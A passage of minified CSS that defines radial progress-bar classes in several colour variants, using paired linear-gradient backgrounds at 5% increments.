#d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-50{background-image:linear-gradient(270deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-55{background-image:linear-gradient(288deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-60{background-image:linear-gradient(306deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-65{background-image:linear-gradient(324deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-70{background-image:linear-gradient(342deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-75{background-image:linear-gradient(360deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-80{background-image:linear-gradient(378deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-85{background-image:linear-gradient(396deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-90{background-image:linear-gradient(414deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-95{background-image:linear-gradient(432deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-100{background-image:linear-gradient(450deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-50{background-image:linear-gradient(270deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-55{background-image:linear-gradient(288deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-60{background-image:linear-gradient(306deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-65{background-image:linear-gradient(324deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-70{background-image:linear-gradient(342deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-75{background-image:linear-gradient(360deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-80{background-image:linear-gradient(378deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-85{background-image:linear-gradient(396deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-90{background-image:linear-gradient(414deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-95{background-image:linear-gradient(432deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-100{background-image:linear-gradient(450deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-50{background-image:linear-gradient(270deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-55{background-image:linear-gradient(288deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-60{background-image:linear-gradient(306deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-65{background-image:linear-gradient(324deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-70{background-image:linear-gradient(342deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-75{background-image:linear-gradient(360deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-80{background-image:linear-gradient(378deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-85{background-image:linear-gradient(396deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-90{background-image:linear-gradient(414deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-95{background-image:linear-gradient(432deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-100{background-image:linear-gradient(450deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-50{background-image:linear-gradient(270deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-55{background-image:linear-gradient(288deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-60{background-image:linear-gradient(306deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-65{background-image:linear-gradient(324deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-70{background-image:linear-gradient(342deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-75{background-image:linear-gradient(360deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-80{background-image:linear-gradient(378deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-85{background-image:linear-gradient(396deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-90{background-image:linear-gradient(414deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-95{background-image:linear-gradient(432deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-100{background-image:linear-gradient(450deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-50{background-image:linear-gradient(270deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-55{background-image:linear-gradient(288deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-60{background-image:linear-gradient(306deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-65{background-image:linear-gradient(324deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-70{background-image:linear-gradient(342deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-75{background-image:linear-gradient(360deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-80{background-image:linear-gradient(378deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-85{background-image:linear-gradient(396deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-90{background-image:linear-gradient(414deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-95{background-image:linear-gradient(432deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-100{background-image:linear-gradient(450deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-50{background-image:linear-gradient(270deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-55{background-image:linear-gradient(288deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-60{background-image:linear-gradient(306deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-65{background-image:linear-gradient(324deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-70{background-image:linear-gradient(342deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-75{background-image:linear-gradient(360deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-80{background-image:linear-gradient(378deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-85{background-image:linear-gradient(396deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-90{background-image:linear-gradient(414deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-95{background-image:linear-gradient(432deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-100{background-image:linear-gradient(450deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-50{background-image:linear-gradient(270deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-55{background-image:linear-gradient(288deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-60{background-image:linear-gradient(306deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-65{background-image:linear-gradient(324deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-70{background-image:linear-gradient(342deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-75{background-image:linear-gradient(360deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-80{background-image:linear-gradient(378deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-85{background-image:linear-gradient(396deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-90{background-image:linear-gradient(414deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-95{background-image:linear-gradient(432deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-100{background-image:linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-50{background-image:linear-gradient(270deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-55{background-image:linear-gradient(288deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-60{background-image:linear-gradient(306deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-65{background-image:linear-gradient(324deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, 